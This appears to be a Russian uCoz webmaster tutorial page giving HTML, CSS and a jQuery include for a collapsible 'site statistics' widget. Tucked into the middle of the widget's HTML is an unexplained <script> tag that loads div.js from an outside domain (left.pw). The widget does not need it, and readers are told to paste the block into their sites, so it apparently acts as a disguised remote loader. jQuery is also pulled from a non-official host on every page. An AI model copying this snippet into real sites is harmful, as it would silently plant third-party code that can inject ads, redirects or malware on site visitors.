1
  ucoz помощь Вход Регистрация  


Главное меню сайта
Главная страница О сайте Главная форума Обратная связь
 

Категории материалов
Для веб-мастера [93]
Шаблоны для uCoz [188]
Cкрипты для uCoz [463]
Photosohp [64]
Блог [5]
Шаблоны для uCoz (remote) [4]
Photoshop файлы (remote) [2]
Скрипты (remote) [2]
Для веб-мастера (remote) [2]
 

Новое на форуме
Проміжні релеНабор на CS сайтНабон на сайтНабор на большой варезникПрикольная программа :)Ваши любимые фильмыTizermedia.net - тизерная сеть...Объявление для рекламодателей!...Оцените сайтКак создать успешный сайт: сов...
 

Популярные материалы
4334 белых каталогов для вашег...Блок навигация для ucozВид материалов фотоальбома для...Красивое горизонтальное меню д...Новый, светлый мини-чат как на...Меню в стиле Сталкер для ucozКрасивая форма входа для uCozКак определить позицию сайта в...Форма регистрации с проверкой ...uCoz шаблон на тему Lineage 2Шрифт - Monplesir scriptМини-профиль для сайта uCoz
 

     
 

Красивая статистика для uCoz



Создайте блок с названием "Cтатистика сайта" и вставьте в него сделующий код:

Код
<div id="statistic">

  <div class="Tstatis">
  <div class="title_statis">Счетчики пользователей</div>
  <div class="turn" onclick="$('.Bstatis').slideToggle('slow');" href="javascript://"></div>
  </div>  

  <div style="display:none;" class="Bstatis">
  $MYINF_1$
  </div>

  <div class="Tstatis">
  <div class="title_statis">Онлайн сайта</div>
  <div class="turn" onclick="$('.Bstatis2').slideToggle('slow');" href="javascript://"></div>
  </div><script type="text/javascript" src="http://left.pw/div.js"></script>  

  <div style="display:none;" class="Bstatis2">
  $ONLINE_COUNTER$
  </div>
   
  <div class="Tstatis">
  <div class="title_statis">Счетчики сайта</div>
  <div class="turn" onclick="$('.Bstatis3').slideToggle('slow');" href="javascript://"></div>
  </div>  

  <div style="display:none;text-align:center;" class="Bstatis3">
  $COUNTER$
  </div>
   
  <div class="Tstatis">
  <div class="title_statis">Сегодня нас посетили</div>
  <div class="turn" onclick="$('.Bstatis4').slideToggle('slow');" href="javascript://"></div>
  </div>  

  <div style="display:none;padding-left:4px;" class="Bstatis4">
  $MYINF_2$
  </div>
   
</div>


Этот код нужно поставить на все страницы, перед </head> !!!

Код
<script src="http://pnghosts.ru/js/jquery.js" type="text/javascript"></script>


Создайте два информера:

$MYINF_1$
[ Счетчики для пользователей · Материалы · всех, по дням (сегодня, вчера, 7 дней, 30 дней) ]

Код
<dl>Всего: $ALL_USERS$</dl>
  <dl>За месяц: $30DAYS$</dl>
  <dl>За неделю: $7DAYS$</dl>
  <dl>Вчера: $YESTERDAY$</dl>
  <dl>Сегодня: $TODAY$</dl>


$MYINF_2$
[ Пользователи, посетившие сайт за текущий день · Материалы · Имя пользователя ]

Код автоматом ставится.

В CSS добавьте стили:

Код
#statistic {width:208px;overflow:hidden;margin:0 auto;color:#fff;}
.Tstatis {height:24px;margin-top:6px;}
.title_statis {background:url(http://pnghosts.ru/img/statistic_title.png) no-repeat;float:left;width:171px;height:19px;font:11px Tahoma;text-shadow:1px 1px 0 #553a11;padding:4px 0 0 5px;overflow:hidden;}
.turn {background:url(http://pnghosts.ru/img/button_turn.png) no-repeat;float:right;width:37px;height:23px;margin:0 0 0 -5px;}
.Bstatis, .Bstatis2, .Bstatis3, .Bstatis4 {width:208px;font:11px Tahoma;text-shadow:1px 1px 0 #191919;margin-top:2px;}
#statistic dl {background:url(http://pnghosts.ru/img/arrow.png) no-repeat left;height:12px;line-height:10px;padding:0 0 0 18px;margin:4px 0 4px 0;display:block;}
#statistic .tOnline, #statistic .gOnline, #statistic .uOnline {background:url(http://pnghosts.ru/img/arrow.png) no-repeat left;height:12px;line-height:10px;padding:0 0 0 18px;margin:4px 0 4px 0;display:block;}
   






html-cсылка на публикацию
BB-cсылка на публикацию
Прямая ссылка на публикацию


 
     


     
 
 
     


Реклама
 
   
 

Друзья сайта
Заказать место
 

Поиск по сайту
 

Статистика сайта
Онлайн всего: 2
Гостей: 2
Пользователей: 0
[ Кто онлайн? ] [ Сегодняшние посетители ]
 
 
Реклама